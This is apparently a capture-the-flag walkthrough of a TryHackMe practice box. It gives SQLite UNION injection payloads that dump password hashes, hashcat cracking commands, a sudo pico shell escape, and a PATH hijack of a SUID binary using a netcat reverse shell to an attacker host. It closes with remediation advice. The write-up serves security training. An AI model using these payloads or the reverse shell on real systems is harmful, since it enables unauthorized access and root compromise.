Madeye's Castle
A SMB spell list plus a SQLite UNION injection dumps password hashes cracked with a themed rule-based wordlist; sudo pico pivots between users, and a time-seeded guessing-game SUID binary with an unqualified uname call is PATH-hijacked to root.
A walkthrough of the “Madeye’s Castle” room from TryHackMe — a Harry Potter-themed box. A readable SMB share gives a spell wordlist and hints; a SQLite UNION injection in the web login dumps SHA-512 hashes we crack with a themed rule-based wordlist; sudo pico pivots to a second user; and a SUID guessing-game binary with a time-seeded RNG and an unqualified uname call is PATH-hijacked to root.
Madeye’s Castle is an authorized training challenge on TryHackMe; everything here was performed against a legal practice target. Flags use the room’s
RME{...}format and every recovered password is shown asRME{<redacted>}/<redacted>— real on the box, withheld here.
TL;DR
TL;DR
A default Apache page hints at vhost hogwartz-castle.thm; a NULL-session SMB share (sambashare) holds spellnames.txt (a spell wordlist) and .notes.txt hinting the passwords “won’t rock you” (so spells + rules, not rockyou) → the web login is SQLite-injectable; a manual UNION dump of the users table yields SHA-512 hashes → crack with hashcat best64 rules over the spell list → recover harry’s password → SSH as harry (user1) → sudo -u hermonine /usr/bin/pico escapes via pico -s /bin/sh to hermonine (user2) → SUID /srv/time-turner/swagger is a guess-the-number game whose rand() is time-seeded (predictable) and which calls uname without a full path → feed back the predicted number and PATH-hijack uname with a reverse shell for root.
The target
export IP=<target-ip>
export ATTACKER_IP=<your-ip>
nmap shows SSH, Apache, and Samba:
22/tcp open ssh OpenSSH 8.2p1 Ubuntu
80/tcp open http Apache 2.4.41 # default page; source comment -> vhost hogwartz-castle.thm
139/445 open smb Samba 4
Add hogwartz-castle.thm to /etc/hosts. A NULL SMB session exposes sambashare (“Harry’s Important Files”):
smbclient //$IP/sambashare -U harry # (blank password)
# spellnames.txt (spell list) .notes.txt (hints)
.notes.txt: spell names “will not rock you” (i.e. use the spell list + rules, not rockyou) and Hermione loves historical text editors (pico/nano — note for later).
The vulnerability
The entry point is a classic UNION-based SQL injection over a SQLite backend, and the privesc is a vulnerable SUID binary. The themed wordlist is the trick: the hashes only fall to the spell list run through a rule set, not a generic dictionary.
Insight
Two details decide this box. (1) The DB is SQLite, so enumerate with sqlite_version() and sqlite_master rather than MySQL’s information_schema. (2) The root binary swagger seeds its RNG from time, so its “random” number is predictable — and on a correct guess it runs uname without an absolute path. That unqualified call is a textbook PATH hijack: put a malicious uname earlier in $PATH and the SUID program runs it as root.
Step 1 — SQLite UNION injection → dump the hashes
The login’s user parameter is injectable. Confirm SQLite, find 4 columns (1 and 4 reflect), then dump:
' union select sqlite_version(),2,3,4-- -
' union select group_concat(tbl_name),2,3,4 FROM sqlite_master-- - # users
' union select sql,2,3,4 FROM sqlite_master WHERE name='users'-- - # name,password,admin,notes
' union select group_concat(password),2,3,4 FROM users-- - # SHA-512 hashes
' union select group_concat(notes),2,3,4 FROM users-- - # password hints
Step 2 — crack with a themed rule wordlist → SSH as harry (user1)
The hints point at rules over the spell list. Generate candidates and crack the SHA-512 hashes:
hashcat --stdout -r /usr/share/hashcat/rules/best64.rule spellnames.txt > wordlists.txt
hashcat -m 1700 -a 0 hash_password.txt wordlists.txt
# <one hash> : <redacted> (harry's password, a spell + rule mutation)
ssh harry@$IP
harry@...:~$ cat user1.txt # RME{<redacted>}
Step 3 — sudo pico → hermonine (user2)
harry@...:~$ sudo -l
# (hermonine) /usr/bin/pico
harry@...:~$ sudo -u hermonine /usr/bin/pico -s /bin/sh # GTFOBins: run a shell from pico
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
hermonine@...:~$ cat user2.txt # RME{<redacted>}
Step 4 — PATH-hijack the time-seeded SUID binary → root
/srv/time-turner/swagger is SUID root. It asks you to guess a number and, on failure, prints it. Ghidra shows rand() is seeded from time() (so it repeats within the same second) and a correct guess calls impressive(), which runs uname with no path. We abuse both: pipe the printed number straight back in (the “time-turner”), and place a malicious uname first in $PATH:
# malicious uname = reverse shell
echo 'rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 4444 >/tmp/f' > /tmp/uname
chmod +x /tmp/uname
export PATH=/tmp:$PATH
# feed the predicted number back into the same binary in one pipeline:
echo '111' | ./swagger | grep "of" | cut -f5 -d' ' | ./swagger
# -> "Nice use of the time-turner!" -> impressive() runs uname (our shell) as root
# attacker
nc -lvnp 4444
# whoami -> root ; cat /root/root.txt -> RME{<redacted>}
Impact
Critical
Critical — CVSS 3.1 ~9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). An unauthenticated SQL injection dumps all password hashes, which a themed rule-based crack converts into a working SSH login. A permissive sudo rule (pico) pivots users, and a SUID binary with a predictable time-seeded RNG and an unqualified uname call allows PATH-hijack to full root — complete host compromise.
Recommended fix
Fix
- Parameterise the login query and don’t expose it to UNION injection; store passwords with a slow salted hash (argon2/bcrypt), not raw SHA-512.
- Don’t publish wordlists/hints on an open SMB share, and require authentication for
sambashare. - Tighten sudo.
pico/nanospawn shells (GTFOBins); never grant an editor via sudo. - Fix the SUID binary: seed RNG from a CSPRNG, and call external programs with absolute paths (or avoid
system/execof PATH-resolved binaries entirely) and a sanitised environment.
Takeaways
- Know your DBMS. SQLite injection uses
sqlite_master/sqlite_version(), notinformation_schema. - Themed wordlists beat generic ones. The hashes only cracked with spells + rules.
- Editors under sudo are shells.
pico -s /bin/shis an instant pivot. - Unqualified command + weak RNG = root. A relative
unamein a SUID binary is a PATH-hijack; a time-seededrand()is predictable.
Madeye’s Castle is a tidy themed chain where every clue — spells, old editors, time-turners — maps to a real technique. Thanks for reading.